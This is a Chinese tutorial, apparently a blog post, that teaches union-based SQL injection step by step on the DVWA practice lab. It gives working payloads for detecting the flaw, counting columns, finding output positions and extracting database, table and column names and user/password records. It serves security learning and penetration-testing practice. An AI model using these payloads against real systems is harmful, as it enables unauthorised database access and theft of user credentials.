引言:联合查询注入(Union-Based SQL Injection)作为SQL注入攻击中的"黄金手法",因其高效性和直接性成为渗透测试的核心技术。本文将用渗透测试视角,带您揭开数据库攻防的神秘面纱。

目录

一、联合查询注入定义

二、判断是否存在注入

1.利用 ' (单引号)或者 "(双引号)来判断是否存在漏洞,如果出现SQL语句错误说明有很大的可能会存在漏洞。

三、判断注入类型

四、判断表中列数

五、确定显示位

六、获取数据

1.获取数据库名

2.获取数据库中表名

3.获取表中字段名

4.获取表中记录


 

一、联合查询注入定义

联合查询注入(UNION-based SQL Injection) 是一种利用SQL的UNION操作符将恶意查询与合法查询合并的攻击技术。攻击者通过构造恶意输入,使数据库返回合并后的结果集,从而窃取敏感数据(如用户凭证、数据库表结构等) 。

二、判断是否存在注入

1.利用 ' (单引号)或者 "(双引号)来判断是否存在漏洞,若SQL语句出现错误,说明有很可能存在漏洞。

a.假设后端的SQL语句为:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

(1)打开dvwa(记得把Security改为low),选择SQL注入,在User ID中输入1。

(2)如下图所示,找到low.php,并用记事本打开。

下图选中部分即为后端的SQL语句。

b.前端输入1,后端获取到前端的输入后将其赋值给$id这个变量,此时SQL查询语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1';

c.数据库从users表中把满足user_id=1这个条件的行(记录)中的first_name、last_name查询
出来,在前端浏览器里显示为:

http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

d.当id值为1’的时候,后端SQL语句就变为了:

SELECT first_name, last_name FROM users WHERE user_id = '1''

(1)打开phpstudy,选择右下角MySQL管理器中的MySQL-Front。

(2)打开后点击“属性”,什么都不用改,依次点击“确定”和“打开”。

(3)如下图选中dvwa和SQL编辑器,并输入SELECT first_name, last_name FROM users WHERE user_id = '1''。

(4)点击运行,发现报错了,与我们之前的测试结果相同。

e.可以看到多了一个单引号,因为单引号不匹配,则会报错。因为能引起数据库的报错,说明用户是可以对原查询语句进行修改的,说明存在漏洞。

三、判断注入类型

判断注入类型是数字型还是字符型的关键在于在注入的过程中是否需要添加单引号。

可以使用:1and 1=1、1 and 1=2和1' and '1'='1、1' and '1'='2进行判断。

1.输入1 and 1=1和1 and 1=2页面皆正常显示

2.输入1' and '1'='1和1' and '1'='2,前者正常显示,后者不显示,说明单引号起作用了,所以可知注入类型为字符型。

在MySQL中,字符串与数字比较时会触发隐式类型转换:若字符串以数字开头(如“2admin”),则转换为开头的数字(如“2”);若无法转换则视为'0'。因此,输入'1 and 1=1'与'1 and 1=2'均被转换为'1',导致两者执行结果相同。核心逻辑:字符串到数字的转换规则使'and'后的条件被忽略,最终等价于查询'user_id='1''。

四、判断表中列数

为便于后续获取数据,可利用order by来判断查询表中的字段数。order by用于依据指定列对结果集排序 ,若 order by后的数字超过当前表的列数,就会报错,SQL 注入正是借助这一特性来确定列数。

1.当在url输入1' order by 3%23时,显示未知的列数

2.当在url输入1' order by 2%23时,页面正常显示,说明当前表中只有两列

%23为井号(#)的url编码,是为了将SQL语句中多余的单引号注释掉

如上文所述,单引号为成双成对出现,下图单引号为单数,故出现错误。

在2后添加#号,便可成功运行

五、确定显示位

在网站的正常页面中,服务端会执行 SQL 语句从数据库查询数据,然后客户端把这些数据展示在页面上,这个数据展示的地方被称为显示位。
 

UNION操作符的作用是把两个或多个SELECT语句的结果集合并起来。UNION结果集里的列名,始终和 UNION里第一个SELECT语句中的列名一致。而且,UNION内部的各个SELECT语句,要求列的数量相同,列的数据类型也要相近,并且每条SELECT语句里列的顺序得保持一致。

输入1' union select 1,2%23时,发现1和2都回显到页面中了,说明这两个位置都可以显示数据。

我们一般不查询union左边的内容,因为程序在展示数据的时候通常只会取结果集第一行的数据

因此,若想让union右边的查询结果成为第一行并展示在网页上,只需使union左边的select子句查询结果为空集 。实现这一点,可以将查询条件修改为负数,或者改成较大的数字,使左侧查询无法匹配到数据。

六、获取数据

1.获取数据库名

下图即为数据库名

在有回显的位置上将获取数据库名的函数进行替换,输入-1' union select 1,database()%23

 

2.获取数据库中表名

下图即为数据库中表名

输入-1' union select 1,table_name from information_schema.tables where table_schema='dvwa'%23

(以下标注颜色的即为每段url的区别,绿色部分可根据实际情况进行修改)

3.获取表中字段名

输入-1' union select 1,column_name from information_schema.columns where table_name='guestbook' and table_schema='dvwa'%23

4.获取表中记录

1.输入-1' union select 1,user from users%23

2.获取表中所有记录,可以使用group_concat()(将多行合并成一行),输入-1' union select 1,group_concat(user,password) from users%23

 

结语:​联合查询注入作为SQL注入中最具代表性的攻击方式之一,其危害性在于它能够直接“嫁接”合法查询与恶意操作,绕过常规的访问控制,将数据库中的敏感信息赤裸裸地暴露在攻击者面前。从技术原理上看,这种攻击手法依赖UNION操作符的“数据合并”特性,通过精确匹配列数和数据类型,将窃取的数据与正常查询结果混入同一页面回显位,从而实现“无痕”数据窃取。

 

Logo

DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。

更多推荐